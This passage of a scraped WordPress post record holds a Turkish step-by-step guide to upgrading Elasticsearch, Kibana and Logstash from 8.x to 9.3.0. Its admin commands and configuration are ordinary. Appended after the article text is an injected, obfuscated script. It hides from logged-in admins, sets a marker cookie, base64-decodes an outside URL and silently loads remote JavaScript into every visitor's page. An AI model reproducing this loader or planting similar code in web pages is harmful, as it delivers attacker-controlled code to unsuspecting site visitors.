data-wp-on-window--resize=\"callbacks.setButtonStyles\" data-id=\"797\" src=\"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/20-1024x770.png\" alt=\"\" class=\"wp-image-797\" srcset=\"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/20-1024x770.png 1024w, https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/20-300x225.png 300w, https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/20-768x577.png 768w, https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/20-1536x1154.png 1536w, https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/20-16x12.png 16w, https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/20.png 1578w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><button\n\t\t\tclass=\"lightbox-trigger\"\n\t\t\ttype=\"button\"\n\t\t\taria-haspopup=\"dialog\"\n\t\t\taria-label=\"B\u00fcy\u00fct\"\n\t\t\tdata-wp-init=\"callbacks.initTriggerButton\"\n\t\t\tdata-wp-on--click=\"actions.showLightbox\"\n\t\t\tdata-wp-style--right=\"state.imageButtonRight\"\n\t\t\tdata-wp-style--top=\"state.imageButtonTop\"\n\t\t>\n\t\t\t<svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"12\" height=\"12\" fill=\"none\" viewBox=\"0 0 12 12\">\n\t\t\t\t<path fill=\"#fff\" d=\"M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z\" \/>\n\t\t\t<\/svg>\n\t\t<\/button><\/figure>\n<\/figure>\n\n\n\n<p>Az \u00f6nce yapt\u0131\u011f\u0131m\u0131z analizde g\u00f6rd\u00fc\u011f\u00fcm\u00fcz gibi, ekran\u0131m\u0131zdaki tablo \u015fu an olduk\u00e7a umut verici:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>System Indices Migration:<\/strong> &#8220;System indices migration not needed&#8221; uyar\u0131s\u0131, v8.19.0&#8217;\u0131n t\u00fcm i\u00e7 haz\u0131rl\u0131klar\u0131 tamamlad\u0131\u011f\u0131n\u0131 g\u00f6steriyor. Bu, v9&#8217;a ge\u00e7i\u015fin teknik olarak &#8220;temiz&#8221; bir zeminde oldu\u011funu kan\u0131tlar.<\/li>\n\n\n\n<li><strong>Critical Issues:<\/strong> Hi\u00e7bir k\u0131rm\u0131z\u0131 (Kritik) hata yok. Sadece Elasticsearch ve Kibana taraf\u0131nda birka\u00e7 adet <strong>Warning (Sar\u0131)<\/strong> uyar\u0131s\u0131 mevcut. Bu uyar\u0131lar upgrade i\u015flemine engel de\u011fildir; sadece v9 sonras\u0131 baz\u0131 ayarlar\u0131n modern isimleriyle g\u00fcncellenmesi gerekti\u011fini hat\u0131rlat\u0131r.<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.2. Ad\u0131m: Cluster&#8217;\u0131 G\u00fcvene Alma (Snapshot ve Shard Kilidi)<\/h3>\n\n\n\n<p>Sistemi durdurmadan \u00f6nce verilerin g\u00fcvenli\u011fi ve h\u0131zl\u0131 kurtarma (recovery) i\u00e7in \u015fu iki komutu \u00e7al\u0131\u015ft\u0131rmal\u0131s\u0131n\u0131z:<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">1. Senkronize Flush (Veriyi Diske Yazma)<\/h4>\n\n\n\n<p>Haf\u0131zadaki (memory) t\u00fcm verilerin diske g\u00fcvenle yaz\u0131ld\u0131\u011f\u0131ndan emin olmak i\u00e7in:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST _cache\/clear\n\nPOST _flush\/synced<\/code><\/pre>\n\n\n\n<p>> Not: v8.x ve \u00fczerinde <code>_flush\/synced<\/code> komutu bazen uyar\u0131 verebilir, e\u011fer hata al\u0131rsan\u0131z sadece <code>POST _flush<\/code> komutunu kullanabilirsiniz.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">2. Mevcut Durumu Sorgulama (Opsiyonel)<\/h4>\n\n\n\n<p>Ayarlar\u0131n ba\u015far\u0131yla uygulan\u0131p uygulanmad\u0131\u011f\u0131n\u0131 kontrol etmek i\u00e7in:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET _cluster\/settings<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n  \"persistent\": {\n    \"cluster\": {\n      \"routing\": {\n        \"allocation\": {\n          \"enable\": \"primaries\"\n        }\n      }\n    },\n    \"xpack\": {\n      \"monitoring\": {\n        \"collection\": {\n          \"enabled\": \"true\"\n        }\n      }\n    }\n  },\n  \"transient\": {}\n}<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.3. Ad\u0131m: \u0130lk Hamle \u2013 Master Olmayan (Data) Node Upgrade<\/h3>\n\n\n\n<p>Rolling Upgrade kural\u0131 gere\u011fi, cluster b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc bozmamak i\u00e7in her zaman \u00f6nce Master rol\u00fc olmayan node\u2019dan ba\u015fl\u0131yoruz.<\/p>\n\n\n\n<div class=\"wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-a89b3969 wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/www.elastic.co\/downloads\/past-releases\/elasticsearch-9-3-0\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Elasticsearch 9.3.0<\/a><\/div>\n<\/div>\n\n\n\n<p>v8&#8217;den v9&#8217;a ge\u00e7erken node&#8217;lar aras\u0131ndaki s\u00fcr\u00fcm fark\u0131 ge\u00e7ici bir dengesizlik yaratabilir. Bu trafi\u011fi y\u00f6netmek i\u00e7in Master node (Node-1) \u00fczerinden \u015fu komutlar\u0131 verin:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Shard hareketlili\u011fini sadece primary shard'lara k\u0131s\u0131tla\ncurl -X PUT \"localhost:9200\/_cluster\/settings?pretty\" -H 'Content-Type: application\/json' -d'\n{\n  \"persistent\": { \"cluster.routing.allocation.enable\": \"primaries\" }\n}'<\/code><\/pre>\n\n\n\n<p>Node&#8217;u Durdurun:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><\/ol>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\"><\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl stop elasticsearch<\/code><\/pre>\n\n\n\n<p>Manuel Paketi Y\u00fckleyin:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo rpm -Uvh elasticsearch-9.3.0-x86_64.rpm<\/code><\/pre>\n\n\n\n<p>Y\u00fckleme sonras\u0131 <code>\/etc\/elasticsearch\/elasticsearch.yml<\/code> dosyan\u0131z\u0131 kontrol edin. Bizim gibi g\u00fcvenliksiz (No-Security) modda \u00e7al\u0131\u015fan sistemler i\u00e7in \u015fu sat\u0131r\u0131n varl\u0131\u011f\u0131 hayati \u00f6nem ta\u015f\u0131r:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>xpack.security.enabled: false<\/code><\/pre>\n\n\n\n<p>Elasticsearch v9 varsay\u0131lan olarak ML \u00f6zelliklerini \u00e7ok daha agresif bir \u015fekilde ba\u015flatmaya \u00e7al\u0131\u015f\u0131r. E\u011fer ML kullanm\u0131yorsan (ki genelde bu a\u015famada kapal\u0131 tutmak en sa\u011fl\u0131kl\u0131s\u0131d\u0131r), \u015fu ad\u0131mlar\u0131 izle: vi \/etc\/elasticsearch\/elasticsearch.yml<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>xpack.ml.enabled: false<\/code><\/pre>\n\n\n\n<p>Sistem servislerini yenileyip Elasticsearch v9.3.0&#8217;\u0131 uyand\u0131r\u0131yoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl daemon-reload\nsudo systemctl start elasticsearch<\/code><\/pre>\n\n\n\n<p>Cluster&#8217;daki node&#8217;lar\u0131n durumunu sorgulay\u0131n. Burada <code>elastic2<\/code>&#8216;nin s\u00fcr\u00fcm\u00fcn\u00fc <strong>9.3.0<\/strong>, <code>elastic1<\/code>&#8216;in s\u00fcr\u00fcm\u00fcn\u00fc ise hala <strong>8.19.0<\/strong> olarak g\u00f6rmelisiniz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -X GET \"localhost:9200\/_cat\/nodes?v&amp;h=name,version,role,master\"\nname     version role master\nelastic1 8.19.0  dimr *\nelastic2 9.3.0   dir  -<\/code><\/pre>\n\n\n\n<p><strong>Not:<\/strong> <code>master<\/code> s\u00fctununda <code>elastic1<\/code> yan\u0131nda y\u0131ld\u0131z (*) i\u015fareti olmal\u0131. Bu, v9 olan node&#8217;un v8 olan master&#8217;a ba\u015far\u0131yla ba\u011fland\u0131\u011f\u0131n\u0131 g\u00f6sterir.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>Node-2 servisini ba\u015flatt\u0131ktan sonra, v9 y\u00fckl\u00fc node&#8217;un verileri kabul edebilmesi i\u00e7in Master \u00fczerinden k\u0131s\u0131tlamay\u0131 kald\u0131rmal\u0131s\u0131n\u0131z:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -X PUT \"localhost:9200\/_cluster\/settings?pretty\" -H 'Content-Type: application\/json' -d'\n{\n  \"persistent\": { \"cluster.routing.allocation.enable\": \"all\" }\n}'<\/code><\/pre>\n\n\n\n<p>Shard&#8217;lar\u0131n durumunu kontrol edin. Ba\u015flang\u0131\u00e7ta shard&#8217;lar <code>INITIALIZING<\/code> veya <code>RELOCATING<\/code> durumunda olabilir, bir s\u00fcre sonra <code>STARTED<\/code> haline gelmelidir.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -X GET \"localhost:9200\/_cat\/shards?v\"<\/code><\/pre>\n\n\n\n<p><strong>Cluster Sa\u011fl\u0131\u011f\u0131:<\/strong> Durumun <strong>Green<\/strong> (Ye\u015fil) oldu\u011fundan emin olun.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -X GET \"localhost:9200\/_cluster\/health?pretty\"\n{\n  \"cluster_name\" : \"elastic-cluster\",\n  \"status\" : \"green\",\n  \"timed_out\" : false,\n  \"number_of_nodes\" : 2,\n  \"number_of_data_nodes\" : 2,\n  \"active_primary_shards\" : 56,\n  \"active_shards\" : 112,\n  \"relocating_shards\" : 0,\n  \"initializing_shards\" : 0,\n  \"unassigned_shards\" : 0,\n  \"unassigned_primary_shards\" : 0,\n  \"delayed_unassigned_shards\" : 0,\n  \"number_of_pending_tasks\" : 0,\n  \"number_of_in_flight_fetch\" : 0,\n  \"task_max_waiting_in_queue_millis\" : 0,\n  \"active_shards_percent_as_number\" : 100.0\n}<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.4. Ad\u0131m: Final Sahnesi \u2013 Master Node (Node-1) G\u00fcncellemesi<\/h3>\n\n\n\n<p>T\u00fcm Data node&#8217;lar (Node-2 ve varsa di\u011ferleri) ba\u015far\u0131yla v9.3.0 s\u00fcr\u00fcm\u00fcne ge\u00e7ti\u011fine ve cluster sa\u011fl\u0131\u011f\u0131 tekrar &#8220;Green&#8221; oldu\u011funa g\u00f6re, art\u0131k cluster&#8217;\u0131n liderini (Master Node) g\u00fcncelleyebiliriz.<\/p>\n\n\n\n<p><strong>Alt\u0131n Kural:<\/strong> Rolling upgrade s\u00fcre\u00e7lerinde Master node her zaman en son g\u00fcncellenir. \u00c7\u00fcnk\u00fc v9 bir Master, v8 bir node&#8217;u y\u00f6netmekte zorlanabilir; ancak v8 bir Master (\u015fu anki Node-1), v9 bir node&#8217;u (Node-2) ge\u00e7i\u015f s\u00fcrecinde ba\u015far\u0131yla idare edebilir.<\/p>\n\n\n\n<p>Bu a\u015famada yap\u0131lacak i\u015flemler (Servis durdurma, v9 paket kurulumu, izinlerin d\u00fczenlenmesi ve servisin ba\u015flat\u0131lmas\u0131), <strong>4.3. Ad\u0131m&#8217;da Node-2 i\u00e7in uygulanan teknik ad\u0131mlar\u0131n birebir ayn\u0131s\u0131d\u0131r.<\/strong> > <strong>Kritik Hat\u0131rlatma:<\/strong> Node-1 (Master) kapand\u0131\u011f\u0131nda, halihaz\u0131rda v9 olan Node-2 otomatik olarak &#8220;Master&#8221; rol\u00fcn\u00fc \u00fcstlenecektir. Bu beklenen bir davran\u0131\u015f olup, y\u00fckseltme bitti\u011finde liderlik tekrar dengelenecektir.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 5: v9.3.0 Ekosistem Uyumu \u2013 Kibana ve Logstash Final Ge\u00e7i\u015fi<\/h2>\n\n\n\n<p>Elasticsearch v9.3.0 zirvesine ula\u015ft\u0131\u011f\u0131m\u0131za g\u00f6re, art\u0131k g\u00f6rselle\u015ftirme ve veri i\u015fleme katmanlar\u0131n\u0131 da bu yeni nesil mimariye ta\u015f\u0131mam\u0131z gerekiyor. Elastic Stack kural\u0131 nettir: Bile\u015fenler aras\u0131ndaki s\u00fcr\u00fcm fark\u0131, \u00f6zelliklerin devre d\u0131\u015f\u0131 kalmas\u0131na veya ba\u011flant\u0131 kopukluklar\u0131na yol a\u00e7abilir.<\/p>\n\n\n\n<div class=\"wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-a89b3969 wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/www.elastic.co\/downloads\/past-releases\/kibana-9-3-0\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Kibana 9.3.0<\/a><\/div>\n\n\n\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/www.elastic.co\/downloads\/past-releases\/logstash-9-3-0\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Logstash 9.3.0<\/a><\/div>\n<\/div>\n\n\n\n<h3 class=\"wp-block-heading\">5.1. Kibana Y\u00fckseltme (8.19.0 \u2192 9.3.0)<\/h3>\n\n\n\n<p>Kibana v9, v8&#8217;deki dashboard&#8217;lar\u0131n\u0131z\u0131 ve ayarlar\u0131n\u0131z\u0131 otomatik olarak devral\u0131r. Ancak Elasticsearch v9 ile tam uyumlu \u00e7al\u0131\u015fmas\u0131 i\u00e7in binary dosyalar\u0131n\u0131n g\u00fcncellenmesi \u015fartt\u0131r.<\/p>\n\n\n\n<p><strong>A. Servis Durdurma<\/strong> G\u00fcncelleme s\u0131ras\u0131nda dosya \u00e7ak\u0131\u015fmalar\u0131n\u0131 \u00f6nlemek i\u00e7in servisi durduruyoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl stop kibana<\/code><\/pre>\n\n\n\n<p><strong>B. Paket G\u00fcncelleme<\/strong> v9.3.0 RPM paketini indirip mevcut s\u00fcr\u00fcm\u00fcn \u00fczerine kuruyoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo rpm -Uvh kibana-9.3.0-x86_64.rpm<\/code><\/pre>\n\n\n\n<p><strong>C. Yetki ve Servis Ba\u015flatma<\/strong> v9 ge\u00e7i\u015flerinde bazen optimize edilen dosyalar i\u00e7in izin gerekebilir:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo chown -R kibana:kibana \/etc\/kibana\/\nsudo systemctl daemon-reload\nsudo systemctl start kibana\n\n# Ba\u015flatma s\u00fcrecini (Optimize ad\u0131mlar\u0131n\u0131) takip edin:\nsudo journalctl -u kibana -f<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5.2. Logstash Y\u00fckseltme (8.19.0 \u2192 9.3.0)<\/h3>\n\n\n\n<p>Logstash v9, v8 ile haz\u0131rlad\u0131\u011f\u0131n\u0131z <code>.conf<\/code> dosyalar\u0131n\u0131z\u0131 (pipeline) tan\u0131maya devam eder. Ancak v9 ile gelen performans iyile\u015ftirmeleri ve yeni plugin destekleri i\u00e7in y\u00fckseltme elzemdir.<\/p>\n\n\n\n<p><strong>A. Pipeline G\u00fcvenli\u011fi ve Durdurma<\/strong> \u00d6nce veri ak\u0131\u015f\u0131n\u0131 nazik\u00e7e durdurun:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl stop logstash<\/code><\/pre>\n\n\n\n<p><strong>B. Paket G\u00fcncelleme<\/strong> v9.3.0 paketini sisteme entegre edelim:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo rpm -Uvh logstash-9.3.0-x86_64.rpm<\/code><\/pre>\n\n\n\n<p>C. Ba\u015flatma ve Veri Ak\u0131\u015f\u0131 Kontrol\u00fc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl daemon-reload\nsudo systemctl start logstash\n\n# Verilerin Elasticsearch'e ak\u0131p akmad\u0131\u011f\u0131n\u0131 loglardan izleyin:\nsudo tail -f \/var\/log\/logstash\/logstash-plain.log<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 6: v9.3.0 Sonras\u0131 Kritik Yap\u0131land\u0131rma \u2013 G\u00fcvenlik ve \u015eifreleme Anahtarlar\u0131<\/h2>\n\n\n\n<p>Elasticsearch ve ekosistemini v9.3.0 s\u00fcr\u00fcm\u00fcne y\u00fckselttikten sonra, Kibana aray\u00fcz\u00fcnde <strong>&#8220;Monitoring Request Error&#8221;<\/strong> veya <strong>&#8220;Encrypted Saved Objects&#8221;<\/strong> uyar\u0131lar\u0131yla kar\u015f\u0131la\u015fman\u0131z muhtemeldir. v9 neslinde &#8220;Alerting&#8221; (Alarm), &#8220;Reporting&#8221; ve &#8220;Security&#8221; \u00f6zelliklerinin kararl\u0131 \u00e7al\u0131\u015fmas\u0131 i\u00e7in sistem art\u0131k sabit \u015fifreleme anahtarlar\u0131n\u0131n tan\u0131mlanmas\u0131n\u0131 \u015fart ko\u015fmaktad\u0131r.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">6.1. \u015eifreleme Anahtarlar\u0131 Neden \u00d6nemlidir?<\/h3>\n\n\n\n<p>v8 ve \u00f6ncesinde bu anahtarlar bo\u015f b\u0131rak\u0131ld\u0131\u011f\u0131nda Kibana her a\u00e7\u0131l\u0131\u015fta ge\u00e7ici anahtarlar \u00fcretiyordu. Ancak v9 mimarisinde;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Oturum Y\u00f6netimi:<\/strong> Servis her restart edildi\u011finde kullan\u0131c\u0131lar\u0131n sistemden at\u0131lmamas\u0131,<\/li>\n\n\n\n<li><strong>Alarmlar (Alerting):<\/strong> Olu\u015fturulan alarmlar\u0131n \u015fifrelenmi\u015f \u015fekilde saklanabilmesi,<\/li>\n\n\n\n<li><strong>Raporlama:<\/strong> PDF ve CSV \u00e7\u0131kt\u0131lar\u0131n\u0131n g\u00fcvenli olu\u015fturulmas\u0131 i\u00e7in bu anahtarlar\u0131n <code>kibana.yml<\/code> i\u00e7erisinde sabitlenmesi gerekir.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">6.2. Ad\u0131m Ad\u0131m Anahtar Yap\u0131land\u0131rmas\u0131<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>1. G\u00fcvenli Anahtarlar\u0131 \u00dcretin<\/strong><\/h4>\n\n\n\n<p>Kibana&#8217;n\u0131n kurulu oldu\u011fu sunucuda, sistemin sizin i\u00e7in 32 karakterli g\u00fcvenli rastgele anahtarlar \u00fcretmesini sa\u011flay\u0131n:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/usr\/share\/kibana\/bin\/kibana-encryption-keys generate<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>## Kibana Encryption Key Generation Utility\n\nThe 'generate' command guides you through the process of setting encryption keys for:\n\nxpack.encryptedSavedObjects.encryptionKey\n    Used to encrypt stored objects such as dashboards and visualizations\n    https:&#47;&#47;www.elastic.co\/guide\/en\/kibana\/current\/xpack-security-secure-saved-objects.html#xpack-security-secure-saved-objects\n\nxpack.reporting.encryptionKey\n    Used to encrypt saved reports\n    https:\/\/www.elastic.co\/guide\/en\/kibana\/current\/reporting-settings-kb.html#general-reporting-settings\n\nxpack.security.encryptionKey\n    Used to encrypt session information\n    https:\/\/www.elastic.co\/guide\/en\/kibana\/current\/security-settings-kb.html#security-session-and-cookie-settings\n\n\nAlready defined settings are ignored and can be regenerated using the --force flag.  Check the documentation links for instructions on how to rotate encryption keys.\nDefinitions should be set in the kibana.yml used configure Kibana.\n\nSettings:\nxpack.encryptedSavedObjects.encryptionKey: 9b916129baa0edab153dd8e09a161fac\nxpack.reporting.encryptionKey: d0820132cee7ac8f7150f8b580febfa2\nxpack.security.encryptionKey: 1fe57e29e16a26aa51940cc2752d65f9<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>2. Yap\u0131land\u0131rma Dosyas\u0131n\u0131 G\u00fcncelleyin<\/strong><\/h4>\n\n\n\n<p>\u00dcretilen anahtarlar\u0131 kopyalay\u0131n ve <code>\/etc\/kibana\/kibana.yml<\/code> dosyas\u0131n\u0131n sonuna ekleyin:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo vi \/etc\/kibana\/kibana.yml<\/code><\/pre>\n\n\n\n<p>Dosyaya eklenecek \u00f6rnek sat\u0131rlar (Kendi \u00fcretti\u011finiz anahtarlar\u0131 kullan\u0131n):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>xpack.encryptedSavedObjects.encryptionKey: 9b916129baa0edab153dd8e09a161fac\nxpack.reporting.encryptionKey: d0820132cee7ac8f7150f8b580febfa2\nxpack.security.encryptionKey: 1fe57e29e16a26aa51940cc2752d65f9<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>3. Servisi Yeniden Ba\u015flat\u0131n<\/strong><\/h4>\n\n\n\n<p>Yap\u0131land\u0131rman\u0131n devreye girmesi i\u00e7in Kibana servisini restart edin:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl restart kibana<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">6.3. Sonu\u00e7: &#8220;Error 24&#8221; ve Monitoring Hatalar\u0131n\u0131n \u00c7\u00f6z\u00fcm\u00fc<\/h3>\n\n\n\n<p>Servis yeniden ba\u015flad\u0131\u011f\u0131nda Kibana loglar\u0131nda <code>SavedObjects service has completed migrations and is available<\/code> mesaj\u0131n\u0131 g\u00f6receksiniz. Aray\u00fcz\u00fc yeniledi\u011finizde k\u0131rm\u0131z\u0131 hata pencerelerinin kayboldu\u011funu ve t\u00fcm monitoring \u00f6zelliklerinin (v9 performans grafiklerinin) aktifle\u015fti\u011fini g\u00f6rebilirsiniz.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><strong>Profesyonel \u0130pucu:<\/strong> Bu anahtarlar\u0131 g\u00fcvenli bir yerde (Password Manager vb.) saklay\u0131n. Gelecekte bir node de\u011fi\u015fimi veya felaket kurtarma (disaster recovery) durumunda ayn\u0131 anahtarlar\u0131 kullanman\u0131z, eski alarmlar\u0131n\u0131z\u0131n ve kay\u0131tl\u0131 objelerinizin okunabilmesi i\u00e7in kritiktir.<\/p>\n<\/blockquote>\n\n\n\n<p><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Elasticsearch ekosisteminde teknoloji dur durak bilmiyor. 8.x serisiyle hayat\u0131m\u0131za giren devrimsel yenilikler, yerini art\u0131k yapay zeka entegrasyonlar\u0131n\u0131n ve vekt\u00f6r veritaban\u0131 yeteneklerinin zirve yapt\u0131\u011f\u0131 9.3.0 versiyonuna b\u0131rakt\u0131. Ancak 8.1.3 gibi erken bir s\u00fcr\u00fcmden 9.3.0 gibi bir &#8220;maj\u00f6r&#8221; s\u00fcr\u00fcme ge\u00e7mek, sadece bir paket g\u00fcncellemesi de\u011fildir; bu, titizlikle planlanmas\u0131 gereken bir sistem operasyonudur.<\/p>\n","protected":false},"author":1,"featured_media":776,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43],"tags":[],"class_list":["post-775","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-genel-en"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Elasticsearch 8.1.3&#039;ten 9.3.0&#039;a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi<\/title>\n<meta name=\"description\" content=\"Elasticsearch ekosisteminde teknoloji dur durak bilmiyor. 8.x serisiyle hayat\u0131m\u0131za giren devrimsel yenilikler, yerini art\u0131k yapay zeka entegrasyonlar\u0131n\u0131n ve vekt\u00f6r veritaban\u0131 yeteneklerinin zirve yapt\u0131\u011f\u0131 9.3.0 versiyonuna b\u0131rakt\u0131. Ancak 8.1.3 gibi erken bir s\u00fcr\u00fcmden 9.3.0 gibi bir &quot;maj\u00f6r&quot; s\u00fcr\u00fcme ge\u00e7mek, sadece bir paket g\u00fcncellemesi de\u011fildir; bu, titizlikle planlanmas\u0131 gereken bir sistem operasyonudur.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/\" \/>\n<meta property=\"og:locale\" content=\"tr_TR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Elasticsearch 8.1.3&#039;ten 9.3.0&#039;a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi\" \/>\n<meta property=\"og:description\" content=\"Elasticsearch ekosisteminde teknoloji dur durak bilmiyor. 8.x serisiyle hayat\u0131m\u0131za giren devrimsel yenilikler, yerini art\u0131k yapay zeka entegrasyonlar\u0131n\u0131n ve vekt\u00f6r veritaban\u0131 yeteneklerinin zirve yapt\u0131\u011f\u0131 9.3.0 versiyonuna b\u0131rakt\u0131. Ancak 8.1.3 gibi erken bir s\u00fcr\u00fcmden 9.3.0 gibi bir &quot;maj\u00f6r&quot; s\u00fcr\u00fcme ge\u00e7mek, sadece bir paket g\u00fcncellemesi de\u011fildir; bu, titizlikle planlanmas\u0131 gereken bir sistem operasyonudur.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/\" \/>\n<meta property=\"og:site_name\" content=\"oraclius\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-20T12:50:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-04-07T08:25:50+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/02\/19a2751f-44c9-411d-9180-37e34b7e5424.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"640\" \/>\n\t<meta property=\"og:image:height\" content=\"640\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"YUNUS EMRE ATAY\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" 